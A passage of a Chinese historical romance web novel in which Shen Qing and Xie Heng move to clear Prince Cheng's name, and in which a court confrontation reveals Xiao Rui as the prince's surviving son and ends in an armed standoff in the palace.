背影有多坚定,就有多凌乱。 沈青不由得失笑,昨晚满城烟花粲然绽放的时候,这小子跟岳瑛一起站在暗处,盯着他们看了半天,她又不是不知道。 诶,现在谢珩知道她是女儿身了,到时候还得想个不那么冲击的方式告诉萧瑞才行。 感受到她的情绪,谢珩将她揽得更紧:“放心吧,如果他这点都不能理解你,那你这么多年心血算是白费,你相信他,也相信你自己吧。” 其实沈青是不是女子,对萧瑞来说,并没有那么大的影响,只是一开始会有些冲击而已。 这么多年,从无比敬仰的大哥,突然变成一个姐姐。 可是谢珩更心疼的还是沈青,多年以前,她可是家中最小的妹妹,是父母兄长捧在手心里的掌上明珠。 她连姐姐都不知道怎么当,却当了这么多年大哥。 沈青伸伸懒腰:“先解决了眼下的事情再说。” 简单收拾一番,她又跟着谢珩回了谢府,无他,谢府的吃穿用度太舒服了,人不可能有好日子不过的。 跟谢夫人拜了个年,两人又在院中厮磨了几日,等官员年节的休沐结束,沈青又开始忙碌起来。 朝堂这边,现在谢道清这类世家之流,被谢珩压制得死死的。 沈青这边的重心还是在替成王翻案一事上,毕竟多年前的旧案,事关如此重大,无论人证物证,很多都被销毁干净,要将旧时罪名一一洗刷,确实不是一件容易的事。 好在有晋王鼎力相助,还有谢珩时不时相帮,终于赶在春三月,即春色将暮时候,为洗刷所有罪名的证物资料搜罗完备。 不仅成王生前所有罪名都是诬陷,还有最关键的那场谋逆,当年先帝猝然驾崩,成王不在宫中,世家第一时间隐瞒先帝死讯,传了假诏令成王进宫护驾,待他率兵进宫护驾时,又借了当时还是礼王殿下的孝武帝名义,以谋逆之罪将其诛杀。 事实便是如此。 旧案不仅需要被翻,他们的目标,还有朝堂之上,君王必定更迭。 萧瑞是皇室正统,但这一点,仅靠翻旧案还不够。 洛京之中,禁卫北军在萧瑞手中,而禁卫南军,是王谢二家的掌控,都是谢珩一手培植出来的家族新秀。 如果要到起事动兵这步,禁卫的南北军,对抗宫中仅有的那些金吾卫何有一些苟延残喘的世家亲兵,倒不在话下。 洛京之外,渝州原本的两万人马,沈青暗中指挥赖三招兵买马,其实已有五万之众。 私囤兵马当然是大罪,不过朝中现在真正能管事的,无非就是谢珩和萧瑞,那囤了就是囤了。 正麟宫变的真相虽然很重要,但是如何让人信服这样的真相,就只有靠兵马了。 兵临城下,谁还能说不是? 至此,萧瑞已经是寒门众望所归,待成王翻案,他皇室正统的身份被揭露,又有兵强马壮相辅,一切都顺理成章。 现在,需要的就是一个契机,从哪里开始挑破。 万事俱备,这个契机却还没有头绪。 已经夜深,看到沈青沐了浴,也不直接到床榻上来,而是坐在书案前,青灯照映下,她映在壁上长吁短叹的身影都被拉长。 她也没说,谢珩却像是有读心术一般:“如果你们一切准备就绪,我倒是可以给你们送一阵东风。” “真的?你能让正麟宫变重新回到众人的视线中?” “是的。” “什么法子?” 谢珩却卖起了关子:“当初成王和萧瑞的事情,我问你你也从不答我,还是靠我自己查出来的,现在你问我,我就要如实地全盘托出吗?” 在这里秋后算账呢? 沈青真是想冲上去撒泼,可是她一拽住他的手臂,就笑起来,撒泼变成了撒娇:“之前的事都是我不对,你现在有什么法子,快些告诉我嘛,你要我做什么,我都答应你好不好?” 她声音软软的,又拖得老长,乖觉又无赖,明明直到她说的这些话都不过心,也不可信,就是让人怎么也拒绝不了。 尤其再配上她天真狡黠的笑意 。 谢珩轻轻捧起她的脸,看到她清澈的眸子里,清晰映着自己的眉眼五官。 “倒真有一件事,我在心里念了很久。” 沈青还无知无觉:“什么事?只要我能办到,在所不辞!” * 当沈青坐在妆台前,从镜子里看到了自己,也看到身后的谢珩时,她还是很后悔,刚才为什么要那样嘴快? 她持非常怀疑的态度,通过铜镜,看向身后的人:“你确定你真的会?” 那两套头面,虽然她很喜欢,但实在太过于繁复,光是簪子,就有大簪小簪数十支,还有步摇、凤钗、花冠……种种类类,她真不知道要往哪根头发里簪。 谢珩抿了抿唇,从镜中与她对视:“本来是不会的。” 但他学得快。 他将她发顶的男子发髻拆掉,青丝如瀑垂落肩头,他指节分明如玉,在她软绵轻滑绸缎般的乌发间来回,时而紧绕,时而高绾。 谢珩想让她佩戴的是那套红玉头面,在他一点一点温柔动作里,紫檀箱中的首饰越来越少,而沈青,只觉得脑袋越来越重。 很快,一整套头面都佩戴完毕,她望着镜中的自己,乌发如云,金玉点缀,是令人心荡神震的倾国倾城与富贵气象极限融合。 浑然天成,绝世无双。 就是梗着脖子有点不太敢动,毕竟着脑袋脖子上,顶着好几座宅子呢。 “等等。” 谢珩愣愣盯着镜中人看了一会,忽然又绕到她身前蹲了下来:“我给你画眉点脂。” 当沈青眼睁睁看着他从妆台下取出一只装盒,打开里头是一整套一应俱全的胭脂水粉时,她彻底惊诧住。 “你还会这个!?” 谢珩已经在她眉间点上花钿:“本来是不会的。” 现在也会了。 沈青深吸口气,无法直视他的憧憧目光,赶紧闭了眼,任这人在自己脸上细细描摹。 为了缓解这尴尬怪异的气氛,她找了些话题来聊:“你知不知道,在你房里看到这两套头面的时候,我还以为你有什么怪癖,买来在房中偷偷给自己戴呢。” 话音刚落,她感觉到正在自己脸上的动作顿了一下,当然,她没有睁眼,自然看不到谢珩那张俊脸一瞬间黑沉下来。 许久,他问:“吓到你了吗?” “……当时是想跑来着,但是看你太俊了,没舍得跑。” 谢珩无奈,沉下来的俊脸恢复莞尔笑意,如果不是她每天有这些稀奇古怪的想法,大概世上也不会有这样玲珑潇洒的沈青了。 “可以了。” 再开口的时候,他的声音从清浅变得灼热,沈青却有些如释重负,她长睫微颤,缓缓睁开双眼,一眼便见铜镜中那张令人惊心动魄的面容。 明艳无方,不可逼视。 她张张嘴想说话,朱唇微动,眼波流转,只是这样瞬间的潋滟,镜中人风情摄人。 她不自觉屏住呼吸。 真好看。 比她在南风楼海棠房间里看到的自己还要好看许多。 她一双清眸转了转,明眸一抬,对上谢珩同样痴望着她的目光。 说起来,这好像是她第一次,以女子的身份,在他面前穿了女子的衣裙。 “好……好看吗?” 他的眸色太深太深,她像一只无处遁形的小兽,一颗心忽然提了起来,本能地想要逃离。 可是她没有机会,眼前的人像是预判了她的心理,直接俯下身来,用手臂勾住她的后脑勺,深深浅浅在她一点朱唇上,细细采撷。 沈青仰着头,承受着他的沉溺,她被深深揉进他的怀抱,炽热得几乎要将她融化。 几经温柔又猛烈的辗转,怀抱着她的人终于像是恢复了一点理智,轻轻松开一点包裹着她的力量,她迷离睁眼,对上的依然是一双几乎被朦胧情愫彻底支配的眸子。 她身子忽然一轻,整个人被谢珩轻而易举从妆台前抱起,她以为是要往床榻上去,没想到他大步走到了书案前。 书案上还摊了几本翻开了的公文,上面朱色批注清晰可见,沈青就这样被他放置在书案上。 她隐隐为接下来要发生的事情感到紧张和怪异,于是紧搂着谢珩的脖子不放,额头抵在他肩窝不肯动:“不行,会……会弄乱这些文书的……” 谢珩不语,扶着她缓缓倾身。 青丝红玉,枕上一案公文,红颜白纸,绝世无双。 他低着头细细轻吮,一点一点,采撷这朵被他攀折入怀的仙姝。 沈青一双眸光盈满水色,在他的采撷下,眸光水色盈盈颤动。 “沈青。” 他终于像是恢复一点理智,喑哑的声音不断在她耳边呼唤她的名字。 “沈青,我曾经做过这样一场梦。” 第100章 第100章要是你当初不反抗…… 沈青早晨醒来的时候,身子终于不是各种不安定的悬空感了,而是稳稳当当躺在床榻上。 可是她只要略一抬眼,就能看到不远处散落一地的书册卷宗。 还有那套华贵无双的红玉头面,在来来回回的晃荡中,不知不觉都被拆卸干净,在书案或枕畔,随意堆放到处都是。 可见昨夜旧梦有多凌乱。 她觉得谢珩简直是有毛病,那样一丝不苟将首饰替她穿戴整齐,然后马上又一点一点将它们拆卸掉。 昨晚为什么要陪他这样荒唐? 噢,他说他会借一阵东风给她,这算是奖励? 她不由得想到,当初和晋王决定谋事时,已经做好了最少三五年,甚至十年八年的打算,晋王曾经提议,谢珩是一条捷径,她可以试着去走这条捷径。 走捷径是要付出代价的,她当时一口回绝了。 回洛京不过一年多,局势就已经大定下来,到现在,也不得不承认,她的确是走了谢珩这条捷径。 所以……这就是代价吗?赚一个绝色公子做她的夫君? 不错,这代价可真大。 “在想什么呢?” 一个温厚的怀抱从后面轻轻贴了上来。 沈青无比艳羡地叹了口气:“我在想啊,这天下怎么会有你这样好福气的人呢?你看,我既是女人,又能当男人,还武功高强,又聪慧机敏,关键是,还长得这样倾国倾城,普天之下,你哪里再去找一个我这样的人来?” 谢珩忍不住笑意莞尔,低头在她后颈轻轻啄了啄:“当然,上穷碧落下黄泉,再也找不到你这样的人了。” 沈青被他啄得咯咯直笑,正要躲开,又听见他声音清清正正抵在耳畔:“沈青,我多谢你,让我遇见你。” 清润的声音太过于郑重,她也不挣扎了,就安静地靠着他肩窝,又小憩了会,才应:“诶呀,要是你当初不反抗,咱俩早成了,娃都满地跑了。” “……那也来不及吧。” 两人互相依偎温存了一会儿,谢珩先起身,他回头嘱咐道:“我去看看借的那阵东风到了没有,你起来吃些东西,再去睡会儿。” 有谢珩办事,她很安心,也没有多问,就揉了揉自己还酸软着的腰腿,将被子都卷到自己身上:“不吃了,我要先睡。” 谢珩虽然无奈,但也没有强行喊她起来用膳,自己穿戴整齐,先出了门。 刚出院门,就看到沈青的两个心腹手下正面色慌张上前要汇报,他拦了他们,也没有问发生了什么:“她还在休息,无妨,我来解决。” 两个手下互相对视一眼,又听见谢珩补充道:“我回来之前,没有重大的事,先不要打扰她。” 两人终于还是应下:“是。” 又有鸣山上前耳语几句,他神色不变,淡淡应了下来,然后乘了马车,径直入了宫门。 万事俱备,只欠东风,他借的东风到了。 正在卧房里埋头酣睡的沈青,浑然不会想到,这东风还是位久违的老朋友。 谢珩迈步进了乾元殿,许久没在这殿堂上见到这样隆重整肃的场面,文武百官几乎到 齐,他的叔父,依旧站在百官之首,消沉的眉目今日看上去都精神了不少。 当然,站在殿中一人,形容间带了些风尘仆仆的消瘦,也难掩他一副偏偏文雅的气质。 是失踪了许久的陈文轩。 他身边还跪了一个女子,也不是别人,正是刚刚从沈府里被带过来的岳瑛。 也就只敢趁沈青不在府上,逮着岳瑛来欺负了。 谢珩进来,刚向孝武帝行过礼,就见陈文轩直挺挺跪下来向孝武帝陈情:“陛下,罪臣陈文轩自知罪孽深重,本在数月前就该认罪伏诛,可是逆贼一日不除,罪臣心里实在难安,所以才暗自苟且偷生数月,只为能再向朝廷尽几分绵薄之力,稍赎罪孽。” 孝武帝实在没弄明白:“你这一口一个逆贼是说谁呢?再说了,这……跟沈夫人有什么关系,莫非沈夫人是逆贼?” 陈文轩侧目看了一眼岳瑛,她只安安静静跪坐一端,自始至终,连一个眼神都没有给过他,他也完全豁了出去:“当年岳闻渊的案子,有我们陈郡侯府的构陷不假,但是岳闻渊,实实在在是为反贼,这也是板上钉钉的事!” 孝武帝仔细想了想,别说岳闻渊到底有没有谋反了,他当初犯了些什么罪,他都想不起来,只好自己开口问:“所以岳闻渊谋反了?” 陈文轩斩钉截铁:“岳闻渊与当年的正麟宫变有勾连,从他隐藏的那些书信卷宗里可以找到他对这件事的探讨,竟然有想为逆贼翻案之意,只不过来没来得及行动罢了。至于他的女儿岳瑛,为何会正好在千里之外被莽山的沈青救下,还能嫁给沈青成为莽山的大夫人,那是因为,莽山众匪,也是当年正麟宫变后溃败的余孽!” “正麟宫变”四字一出,谁也顾不了殿堂之上不可喧哗的礼节,这四字足可令人人色变。 就算孝武帝,一时也僵坐在龙椅上,脸色可见地发白,许久也说不出话。 他望了望谢道清,感觉不太对,又望了望谢珩,好像也不行,最后甚至还茫然地将目光落在萧瑞身上。 没想到萧瑞的脸色居然也没比他好到哪里去,正满目震惊地看着……看着沈夫人? 他还没有从混乱中捋出一点头绪,陈文轩以首叩地,苦苦相逼:“陛下,臣已经是死罪之身,人之将死其言也善,陛下可以不再信我,但只需一查,便可查出莽山悍匪的逆贼身份!岳闻渊所有关于逆贼的书信卷宗,都是他亲笔手书,绝无作假!臣实在不忍陛下再受其蒙蔽,宁可自投罗网也要揭露他们的真面目!” 孝武帝完全不知道要怎么办,迷茫发问:“众……众爱卿,你们……你们说这可怎么办?” 这次是谢道清站了出来,他直接与谢珩争锋相对:“既然沈青有嫌疑,谢大人还准备包庇到何时?谢大人向来秉公执法,此时干系重大,我劝你还是尽早将人交出来,以免连累自身。” 谢珩神色疏淡间,眼底一丝清浅笑意,若有似无。 他的二叔,当朝丞相,到底还是失势了。 除了敢趁沈青不在对岳瑛下手,再也不敢做出直接对沈青兵刃相向的举动的。 唯一让他感到意外的,是陈文轩与这些世家旧辈谋划许久,既然能查到沈青是所谓“逆贼余孽”,不可能没有查到萧瑞的身份,为何今日当堂揭露,不直接揭露萧瑞的身份,反而只从沈青开始攀咬呢? “丞相想要查,便查就是了。只不过一切水落石出前,就问我要人,现在是这样,之前谢初原案发时也是这般,真不知丞相是何居心?” “我是何居心不重要,难道谢大人居心就正吗?据我所知,自谢初原案发,你将那悍匪接到府上,两人恬不知耻公然骈居至今啊!” 谢珩眼底清浅笑意由衷地深了几分:“我还是那句话,沈青,别想从我府上带走。” “对了,岳瑛也由不得你们羁押。” 朝堂之中,有不少人见识过当时在祠堂谢珩公然剖明心迹至何等地步,后来又全然不顾名声与那悍匪骈居,到现在,他竟然还要尽力维护那悍匪的正妻! 这究竟是怎样的疯魔啊? 谢道清自然不会相让:“先不说沈青,这岳瑛是逆贼之女,有她父亲亲笔书信卷宗为凭证,证据确凿,难道谢大人还要以权谋私吗?” “有凭证就不用查了吗?”谢珩清浅平淡的声音,落在每一个人心头都是一记重锤。 谢道清察觉出他语气中的意味深长:“什么意思?你想要怎么查?” 不等谢珩开口,另一道清嘹的少年声音干脆利落:“当然是该怎么查,就怎么查。” 萧瑞从群臣中站了出来,向孝武帝拱手行礼:“陛下,臣请命,与三司联手,主理审查此案。” 话音落下,他缓缓抬眸,清亮坚定的眸子对上孝武帝那双仓皇无措的眼睛,若是旁人再仔细一些,便能观察出这两副神态绝然不同的眉眼中,透着几分形似。 谢道清冷笑着拦住他的话头:“你来查?你是想替沈青翻案……还是想替别的什么人翻案?正麟宫变是什么性质,当年要不是陛下力挽狂澜……难道你要质疑陛下吗?” 萧瑞从容应道:“自然不敢。不过既然陈文轩这罪臣先攀扯到正麟宫变,若不彻查,岂不是辜负他这一片宁死也要揭举的赤诚之心?” “请陛下准许,让我彻查这逆贼所言。” 他手上虽然再次拱手行礼,眸间却带着几分锐意逼视,看得孝武帝背脊莫名有些发凉。 谢珩也上前请命:“请陛下准许。” 自始至终,他们都没有说重查正麟宫变,他们要查的是陈文轩的状告之词,只不过正好与正麟宫变有些许关联罢了。 要说他们别有用心,也无从证实,可真让他们去查,事态绝对会向不可预料的方向发展。 无论谢道清此时有多失势,他也绝不能眼睁睁任由事态这样发展下去,眼下这满朝上下,他必须先争取了孝武帝。 “陛下,这两人实在居心叵测,绝对不可同意他们所请,否则后果不堪设想!陛下!” 他最后几声陛下喊得真切而焦灼,是一个忠诚良将的声嘶力竭的苦谏。 局势已经如此明了的情境下,满朝文武纷纷忙着站队表态。 只有龙椅上的孝武帝,满眼惊诧,无措地左顾右盼,期望有人能赶紧出面帮他将眼前这烂摊子收拾干净。 他双唇哆嗦着,像一个做错事的小孩,想出声喊人,满朝文武他不知道要喊谁。 谢珩和萧瑞还拱手在前,保持着行礼的姿势,微微垂首弯腰的谦卑姿态里,其实是强硬的逼迫,只要他不同意,他们就会逼迫到底。 谢道清站得笔挺,满脸焦灼担忧的样子,也是在逼他,逼他快点做出决断。 还有他们身后的满朝文武,都在添乱!都在逼他! 问题是他能做什么决定!他能表什么态! 听到“正麟宫变”四个字,他都要发抖! 好,既然所有人都这样苦苦相逼,那就不要怪他做事太甚。 “都给朕住口!” 他抬手用力拍打几下面前的桌案,一张脸因为情绪过于激动而涨得通红,声音也抖得厉害。 纷扰喧嚣的乾元殿顿时安静无声。 群臣的目光都集中于他一人身上。 他绷着一张通红的脸,几乎要瘫软下去,但不妨碍他用最帝王之威的语气说完接下来的话:“你们爱怎么样就怎么样!想查的就查,不想查的就不查!不要再来烦朕!” 撂完这句话,绝不等鸦雀无声的群臣反应过来,他长袖一挥,头也不回蹬下龙椅,掀了帘子退到幕后去了。 好一会儿,朝堂之上,众人开始面面相觑。 萧瑞略偏过头,正好与谢珩的目光对视上,谢珩目中从容平静,默许他的一切行为。 他大步走到岳瑛身边,俯身将人扶起:“嫂嫂,我送你回府。” 一旁的陈文轩直接一把抓住他的手臂:“此女与逆贼一党关联甚密,岂能说带走就带走?” 萧瑞懒洋洋盯着他:“我也出身莽山,今日怎么没人攀咬我?且不说她与谋逆旧党是否相关,你可是死罪之臣,谁保你今日站在这殿堂之上,不用急,等我慢慢将你们一个一个收拾了。” 陈文轩不由得愣了愣,眼前这少年,说起话来简直跟沈青如出一辙,又啰啰嗦嗦,又爱放狠话,偏偏他们玩世不恭的语气里,就是能震慑到对方。 尤其这大半年来,萧瑞变化最大,根本就不是刚入京那个沈青身后嘻嘻哈哈的小跟班了。 在谢道清投来让他稍安勿躁的目光中,他默然松开了萧瑞的手臂,眼睁睁看着萧瑞将岳瑛不远不近护在臂弯范围之内,从他眼前离开。 他眼底闪过一丝狠戾。 且让你们再得意几日。 100-106 第101章 第101章我好舍不得你啊 等沈青睡饱了觉起来,虽然谢珩还没回,也大概将情况了解得七七八八。她不是那种凡事都必须亲力亲为的操心人,既然萧瑞和谢珩都在,那必定能保岳瑛无碍。 春色寂寂,虽然才刚睡了起来,她窝在院子里的藤椅上,还是忍不住打了会儿哈欠,迷迷糊糊又要瞌睡过去的时候,好像有人给她身上罩了一件氅衣,她一睁眼,就见公子玉容,映入眼帘。 “今日云厚,晚些恐怕有雨,坐院子里别吹着风了。” “好好,多谢公子关怀,”她笑着坐起身来:“原来你替我借来的东风,竟然是陈文轩,当初陈文轩失踪,其实是你故意放走的?” 谢珩也搬了张椅子在她身边坐下,正好挡住后面的风口:“是的,查办陈郡侯的案子时,我就非常不理解,陈家与岳家交好数年,为何会一朝翻脸,陈郡侯为何一定要置岳瑛一家于死地呢?” “除此之外,我确实还查到了这个案件背后一些隐情,所以我放走了陈文轩,以他为饵,从他离京后四方寻访和行动,才摸清原来是岳闻渊在户部当差期间,意外察觉出当年成王的冤情,事关重大,他在惊惶无措中,找了陈郡侯商量,却不知,当年的正麟宫变,陈郡侯也是其中帮凶之一。为了不让旧案翻出,陈郡侯只好设计构陷岳闻渊,将其置于死地。” “原先我还不理解,岳闻渊的案子,谢家没有参与过半分,为何当时我二叔会这样强烈阻止我去碰这个案子,原来是怕我查到最深层次的东西。” 沈青不由得“啧啧”两声:“不愧是我看上的公子,原来这么早就在放长线钓大鱼,怪不得你这么快查到我和萧瑞的身份,其实是通过陈文轩那条线查到的吧?” 谢珩没有否认:“是,因为他们也查到你和萧瑞身上了,我也算坐享其成。” 自陈文轩失踪后,沈青想的方向无非是希望岳瑛能不要再执着,确实没想过他还有这样的作用。 她抬眼看身边温润如玉的白衣公子,正垂眸握了小剪子替她剥着刚送到府上水灵灵的江南菱角呢,那双白皙好看弹琴翻书的手,很是灵活地将棱角黑黢黢外壳褪去,剥了洁白的果肉出来,递到她嘴边。 她一张嘴,就脆生生咬下一个尖角儿。 何夕何年,哪里想过这样的光景啊。 “谢珩,我突然觉得,人与人之间的缘分,真是玄妙啊。” “嗯?” 谢珩应了她一声,一边垂眸继续剥着菱角,一边听她娓娓道来。 不过她说的不是她和他,而是说的岳瑛。 “渝州匪患有多严重你也知道,那时候我爹爹刚去世,我执掌了莽山,也算是初生牛犊不怕虎吧,刚好就碰到了岳瑛一家人遭难。我也不管各山头之间什么规矩不规矩,先将人救下来再说,那次为了救她,我手下折损了十几个兄弟。” “从那以后,我再遇到这样的事情,便都置身事外,绝不插手,那时候还跟你吵架呢。除了主动来投匪的,岳瑛是我唯一一次救下的无辜女子。” “我一点也不认识她啊。可是缘分就是这样玄妙,多年前,我的家人因为正麟宫变而丧命,多年后她的家人因为翻出正麟宫变的端倪而丧命,正好又是在莽山,她正好被我救下。” 实在是缘分玄妙,就像身边这位悉心给她剥着棱角的绝色公子,至少上一个冬天以前,还恨不得将她杀之而后快呢。 “确实是冥冥之中自有天意。” 谢珩抬手,将最后一块菱角喂给沈青,她这才发现小半篮子的棱角都被她吃光了,他当这是在喂猪吗? 吃饱喝足后开始秋后算账:“所以今天出了这么大的事儿,为什么都不让人进来告诉我?” 谢珩心平气和放了剪子,用雪帕将指尖擦拭干净:“就是想让你多休息会。” 他顿了一下:“看你昨晚太累了。” 沈青现在已经没那么容易脸红了:“……你后半句可以不用说的。” 她虽然脸皮又厚了回来,但昨晚的种种……不提也罢。 谢珩还是语气如常:“可能后面你还要辛苦一段时日了。” 沈青上下打量几眼他清矜雅正的面容,看不出这人到底是正经还是不正经:“什么叫后面我还要辛苦一段时日?” 谢珩更加正色:“陈文轩暗中跟我二叔等世家勾连许久,早就查出了萧瑞的身份,但是他们这次没有直接戳破他的身份,反而留有余地给他时间去彻查,这段时间,我猜他们是要等一个人。” “等一个人?” 沈青疑惑,两人目光对上,电光火石间,她确实想到了一个人。 “谢道渊?” 谢道渊是谢珩的三叔,是当朝手握最大兵权的大将军,麾下有十万兵马,镇守一方,与谢道清一文一武,牢牢把持着以世家为尊的朝堂局面。 但是这次洛京之中,谢珩与谢道清,世家新旧两派争得如火如荼,当然,两方都在争取谢道渊,但他坚决没有向任何一方迈出脚步。 十万兵马可真是让人心头发憷,沈青都有点紧张起来了:“可是他不是一直在置身事外吗?怎么突然做出选择了?” 谢珩倒还是淡然:“这也只是我的猜测,之前我三叔始终没有做出选择是因为他没必要,但是如果萧瑞的身份被他们所知,那我三叔做出选择,也是情理之中,毕竟……正麟宫变,他也是其中参与者之一。” “我现在还没有探到他那边的动静,我的猜测是,洛京这边,他们看似给萧瑞留了时间,其实是要利用这个时间,等我三叔进京。所以我们必须要在我三叔带兵回京以前,将所有事情都解决。” 沈青对此倒是不担心:“为成王翻案,为萧瑞正身,我们已经做好万全的准备了,只需要行动即可,一定能赶在你三叔进京之前解决的。” 谢珩提醒她:“但我三叔毕竟有十万兵马,即便萧瑞事成,也难抵十万兵马兵临城下。” 沈青大概有点明白为什么他先前说她要辛苦一些时日了:“那我该做些什么?” “渝州的五万兵马要行动,对上我三叔,可能要一场恶战。” “该怎么动?” “我还没探到三叔动身的消息,不过三叔远在东南,而渝州地毗西南,从两地分别入京,一定会在仰州交汇,那就让赖三即刻带兵从渝州出发仰州,在仰州拦截我三叔。” 如果能先占据仰州,虽然只有五万人马,借助易守难攻的地势,未尝不可对抗十万兵力。 沈青忙起身:“好,我这就去给赖三下令。” “欸,你听我说完,”谢珩一把抓住她手腕:“赖三虽然忠厚勇猛,但毕竟不是将帅之才,绝不是我三叔的对手,仰州……只怕要沈寨主亲自去一趟。” 她顿时眉开眼笑:“你都说我是将帅之才了,那我岂不是却之不恭?” 谢珩没再玩笑,站起身来,顺势将人揽进怀里,他下巴轻轻抵着她的发顶,这样秀挺玲珑的一个人,每天怎么抱在怀里都抱不够。 可是谋事在前,无论是抗敌,还是自保,这样生死相争的时刻,他和沈青都不适合同时待在洛京城。 唯有分头行事,才能保证两头不误,进可攻,退可守。 暮春落花纷纷,院中青砖地面上梨花胜雪。 “我好舍不得你。” * 为成王翻案之事,萧瑞和晋王准备许久,早就将一系列翻案证据和事项备齐。 但是孝武帝日日托病,躲在深宫,谁也不见,连早朝都废掉。 而谢珩,终于收到谢道渊带着五万精兵进京面圣的消息。 久拖不利,必须要赶在他兵临城下前行事。 最坏的打算,就是孝武帝再不露面,那就要起兵逼宫了。 洛京中大部分守卫巡防兵力都在萧瑞和谢珩手中,宫中有部分禁军不在他们掌控,但不足为据。 他们将南北禁军在洛京中没街每坊重新作了部署,宫里宫外也将能安排的守卫都安排 上,人事备全。 若真要兵变,不仅宫中要万无一失,还要尽量减少对城中百姓的冲击。 于此同时,朝雨濛濛的清晨,沈青带着几个亲卫,一身轻骑出了洛京城。 她很久没有出过洛京城了,去年入秋以来,她甚至连京郊都没有再去过,不知不觉过了一个秋冬,城郊被细雨打湿的泥泞道路,浅浅长出青青草尖,正好能没过疾驰的马蹄。 山峦田地都换上新绿,她策马疾驰,沾着湿意的春风掠过发梢,是久违的天地壮阔。 大概是在谢府养尊处优太久,亦或是春色令人散漫,赶了不到两天的路,她竟然觉得有点力不从心,身子莫名惫懒,哪哪都不舒爽。 果然,快刀太久不用也会变钝。 为了尽快赶到仰州与赖三汇合,她没有走官道,特地挑了最近的小路赶路,湿滑泥泞的道路,无法时时留心被春雨点染的处处春色。 “等等!” 行至一处岔口,她勒住缰绳,忽然喊停,然后径自翻身下马,蹲在地上用手沾了泥土查看起来。 亲随跟了上来:“老大,有什么问题吗?” “这条路不是官道,为何有这样的车辙印?” 而且不止一条,也不是来自于同一个方向。 亲随答她:“也有一些进京的货商,为了赶时间,或者避免繁琐的检查,有时候也不走官道。” 沈青面目沉静,用指尖随意测量了几道相似的车辙,看得出往来之人虽然在尽力模仿货商行走的痕迹,但这绝对不是普通货商留下的痕迹。 她站起身来,这是一条进京的必经之路。 “走,我们回官道上去。” 她冷声下令,重新翻上马背,一袭青衣与烟雨融为一体。 官道宽阔,十里一亭,三十里一驿,时不时可见来往的商队和车马。 翻过长亭短坡,坡下有一驿,驿中的大院里粮水充足,马匹膘肥,守驿人各司其职,有的在喂马,有的在盘点粮草。 炊烟暮色下,几道马蹄声由远及近,最后直冲进大院。 忙有守卫上前拦截:“大胆!先呈交腰牌,核实身份,再进驿站换马备粮!” 来者一身青衣劲瘦,带了挡雨的蓑笠看不见脸,微微露出的下颌白皙分明,她朗声开口:“天色不早,可以借一斗黄粱给我们赶路吗?” “什么黄粱?要饭要到这里来了?” 沈青猛地一拉缰绳,马儿被她急拉得调转马头。 驿站的人被掉包了! 第102章 第102章她应该会伤心很久吧?…… 为成王翻案一事俱已完备,只是孝武帝日日躲在深宫,所求不得天听,谢道渊的大军又在进京路上,不得已,萧瑞终于准备发动兵变,直接逼宫,再将当年真相公之于众。 只是一开始有些师出无名,不过无妨,只要翻案,回头看这场师出无名,也是名正言顺了。 在谢珩的默许下,萧瑞清点整备好兵马,在深宫中避世几日的孝武帝忽然应了他们的请旨,宣召百官进宫,重新商讨当年成王旧案。 谢珩进宫的时候,在宫门口看着衣着整肃的文武百官依次入内,心知过了今日,乾元正殿便要易主,不由得放空心绪,在宫门外多站了会。 直到看见谢道清的轿撵缓缓而来,两人目光清冷互相对视一眼,谢珩先转身,款步迈进宫门。 与以往任何一次朝会无甚区别,依旧是文武百官在乾元殿上左右林立,孝武帝依旧是一副没睡醒的怏怏神色,今日显得尤为萎靡。 非要说格外不同的地方,大概就是向来闲云野鹤不问朝政的晋王殿下,今日着了朝服出现在殿堂之上。 大概正麟宫变到底事关皇家宗室。 萧瑞一身笔挺跪在殿前,身前罗列的是各种卷宗书案,身后同样跪着的是当年的关键人证。 给重大旧案翻案,本来是需要陛下亲自下旨宣布重审,然后由三司各部来重审重判,最后再由陛下做最后定论,昭告天下,才算翻案。 不过在陈文轩出现以前,重审重判的事情萧瑞就已经做完,只不过有了陈文轩这个契机,他才好一口气将这案子翻过来。 正麟宫变,是一代贤王遭受世家算计,被扣上谋反之罪,惨遭伏杀。 他死去身后,所有加在他身上的罪名,只是为了让他彻底无法翻身的道道脏水。 以及宫变之后,以平叛为由,对拥护成王的朝臣大肆屠戮,是世家为了专权而对异党的尽数绞杀。 桩桩件件,证据充分,条理清晰,在萧瑞的陈情讲述下,振聋发聩。 陛下曾经对这个案件是什么看法,有没有下旨允许过重查重审,这些都已经不重要。 重要的是,他今天必须认下萧瑞查出来的结果。 虽然他实在萎靡难耐,但也还是勉强让自己清醒着听完萧瑞的陈述,他几乎没有任何想辩驳或者挣扎的地方,只伸了伸脖子想满朝文武发问:“众爱卿,你们看要怎么办呢?” 这次站出来的是晋王:“陛下,臣弟有一要事禀告。” 谢珩缓缓侧目,与还跪在地上的萧瑞心照不宣对视一瞬,殿堂之上的气氛,莫名让人呼吸有些凝滞。 只要有人能站出来回应,孝武帝就像抓了一根救命稻草:“晋……晋王啊,你要禀告什么,快说来听听。” 他当然想不到,晋王要说的这个要事,也未必是他想听的:“当年成王府被屠戮,成王兄膝下唯一的幼子却被手下救出,流落民间数年,直至一年前,才被寻到,重回朝堂。” 此言一出,几乎所有朝臣的目光都下意识看向萧瑞,唯有孝武帝真心发问:“是吗?他人在哪呢?” 晋王走到萧瑞身边,郑重与他并肩跪下,掷地有声:“陛下,北军中侯萧瑞,就是当年成王兄幸存人间的幼子,萧宝簪。” 在一阵凉气倒吸的氛围里,晋王又补充道:“证明萧瑞身份的信物和宝册,请陛下过目。” 有内侍捧了信物宝册上前,孝武帝无心去看,倒是很认真而好奇地盯着萧瑞打量了一会,通过他的眉眼五官,似乎真的能看到当年成王兄的影子。 殿堂上的气氛越来越令人窒息,他实在受不了,只好继续小声求助晋王:“那我现在到底该怎么办啊?” 晋王的 嘴角下意识抽了抽,本来是很肃穆隆重的一件事,因为他这位皇兄实在窝囊得过于滑稽,后面的话,他居然有点说不出口。 在他还斟酌着语气措辞的时候,谢道清不急不缓站了出来:“陛下,事情已经明了,叛党余孽,企图为叛党翻案,所谓证词,无一字是真,至于成王当年蒙愿受难,也不过都是这叛贼之子杜撰洗白罢了!” “既然你们亲口承认自己是叛贼之子,那就把这些叛党余孽,统统给我拿下!” 最后一句,他冷肃的眉眼杀伐绝然。 谢道清在朝堂上已经很久没有过这样的气势了。 谢珩有一瞬间的纳罕。 然后他听见兵甲铮然的声音,一回眸,便看见有士兵披甲带刀鱼贯而入,将乾元殿内外团团围住。 当然,萧瑞与他手下的禁军亲兵也反应极快,冲上前来,里里外外两厢对峙。 看人数,对方竟然还隐隐占了上风。 